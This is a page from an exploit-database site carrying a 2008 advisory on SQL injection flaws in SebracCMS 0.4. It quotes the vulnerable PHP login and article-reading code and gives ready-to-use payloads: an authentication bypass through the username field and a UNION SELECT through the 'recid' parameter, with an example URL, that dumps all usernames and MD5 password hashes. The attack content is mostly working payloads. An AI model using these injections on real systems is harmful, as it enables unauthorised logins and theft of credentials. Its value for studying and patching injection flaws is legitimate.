0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
SebracCMS <= 0.4 Multiple SQL Injection Vulnerabilities
[=======================================================
SebracCMS <= 0.4 Multiple SQL Injection Vulnerabilities
=======================================================
# Name: SebracCMS
# Webiste: http://www.sebrac.netsons.org/cms/
# Vulnerability type: SQL Injection
# Author:
# shinmai, 2008-06-28
######################################################################################
# Description:
#
# SebracCMS contains two major SQL injection vulnerabilities:
# Unsanitazed POST-variables in SQL queries when logging users in. This allows
# login access without proper credentials.
# And unsanitized GET-variables in SQL queries when loading articles.
This allows
# an attacker to read all usernames and passwordhashes in the database.
#
# Vulnerable code in cms/index.php:
$n=$_POST['uname'];
$p= strtolower($_POST['upass']);
$cryp_p = md5($p);
//connect to db
include('incls/config.php');
$query="select * from sbc_user where uname='$n' and pw='$cryp_p'";
#
# POC
#
# using
admin' OR '1'='1
# as the username will allow login without proper registered credentials
#
#
# The second and far more serious SQL Injection is in cms/form/read.php
#
# This vulnerability allows an attacker to reveal all users and their
md5-password hashes.
#
#
# Vulnerable code in cms/form/read.php:
$rec=($_GET['recid']);
*SNIP*
$query="Select * from sbc_articles where idart= '$rec'" or die(mysql_error());
#
# POC
#
# using
1' UNION ALL SELECT uname, uname, uname, pw, uname FROM sbc_user WHERE '1'='1
# as the GET-variable 'recid' reveals the first post along with all
registered users and their passwordhashes.
# Example:
http://localhost/sbcms/cms/form/read.php?recid=1' UNION ALL SELECT
uname, uname, uname, pw, uname FROM sbc_user WHERE '1'='1
#
# There are some other SQLI-vulnerabilities there, but these two are
the most severe. I was going to include
# one more for changing any users password, but I simply didn't have
the time to start crafting very complex
# injections. Also, I have a sneaking suspicion there's a
LFI-vulnerability in the photo-gallery code in the CMS,
# but if there is one, I'll write up an other advisory on that.
#
# As always, Good luck and be safe.
# 0day.today [2024-11-15] #